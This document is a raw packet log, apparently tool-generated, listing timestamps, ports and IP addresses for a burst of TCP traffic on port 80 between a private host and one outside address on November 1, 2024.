Nov 1, 2024 00:38:21.809969902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810034037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810043097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810049057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810064077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810080051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810096025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810111046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810134888 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810142040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810148001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810157061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810172081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810185909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810214043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810432911 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810549021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810619116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810633898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810651064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810666084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810687065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810703993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810718060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810725927 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810725927 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.810733080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.810755968 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.851656914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.851672888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.851686954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.851702929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.851716042 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.851778984 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.876746893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876782894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876801014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876816988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876832008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876847029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876861095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.876866102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876869917 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.876902103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876903057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.876919985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876935959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876950026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876966953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876986027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.876993895 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877001047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877017021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877022982 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877032995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877062082 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877110004 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877114058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877130032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877146006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877178907 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877193928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877207041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877259970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877259970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877278090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877294064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877322912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877355099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877371073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877379894 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877387047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877403021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877422094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877439976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877454996 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877473116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877492905 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877494097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877510071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877537012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877537012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877566099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877629042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877650023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877670050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877676964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877686977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877708912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.877747059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877759933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.877881050 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878204107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878253937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878268957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878335953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878359079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878367901 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878375053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878390074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878415108 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878439903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878452063 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878515959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878531933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878546953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878592014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878617048 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878655910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878673077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878688097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878741026 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878741026 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878786087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878801107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878815889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878832102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878846884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878855944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878870964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878885984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878899097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878907919 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878922939 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878937960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878952026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878953934 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878968954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.878978014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.878984928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879000902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879014969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879030943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879044056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879045963 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879059076 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879061937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879086018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879087925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879103899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879113913 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879172087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879188061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879199982 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879204035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879220009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879235983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879264116 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879264116 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879283905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879298925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879331112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879347086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879445076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879457951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879465103 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879472971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879489899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879513025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879515886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879515886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879528046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879543066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879553080 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879625082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879637957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879652023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.879671097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879755974 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.879828930 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945439100 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945470095 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945486069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945499897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945513010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945528984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945544958 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945553064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945568085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945589066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945605040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945614100 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945619106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945643902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945662022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945684910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945699930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945714951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945727110 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945732117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945746899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945770979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945774078 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945785999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945796967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945801973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945830107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945831060 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945846081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945859909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945874929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945883989 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945889950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945899010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945907116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945921898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945935011 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945944071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945957899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945965052 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.945975065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.945987940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.946002960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.946012974 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.946018934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.946034908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.946043968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.946063995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.946069002 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.946255922 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.972558022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.972575903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.972590923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.972906113 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.996880054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.996934891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.996962070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.996977091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.996990919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997004986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997020006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997030020 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997042894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997057915 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997060061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997076035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997092009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997102022 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997104883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997116089 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997119904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997137070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997148991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997154951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997172117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997185946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997201920 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997203112 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997216940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997230053 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997241974 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997245073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997261047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997277975 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997292042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997303009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997308016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997323036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997333050 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997338057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997356892 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997363091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997384071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997391939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997400999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997417927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997435093 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997436047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997452974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997466087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997478008 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997487068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997488976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997504950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997519016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997529030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997534037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997561932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997564077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997581959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997596979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997622013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997622967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997637987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.997647047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997806072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.997921944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998119116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998136044 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998256922 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998264074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998405933 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998487949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998503923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998517990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998532057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998547077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998560905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998574018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998581886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998588085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998600960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998615026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998615026 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998631001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998640060 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998644114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998660088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998675108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998683929 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998688936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998703957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998713970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998717070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998733997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998745918 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998750925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998766899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.998775959 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.998859882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.042407990 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.326760054 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.333251953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607894897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607913971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607933998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607950926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607961893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607965946 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.607968092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607975006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607986927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.607997894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.608011961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.608012915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.608026028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.608037949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:22.608057976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.608077049 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:22.608113050 CET	80	49735	185.215.113.16	192.168.2.6
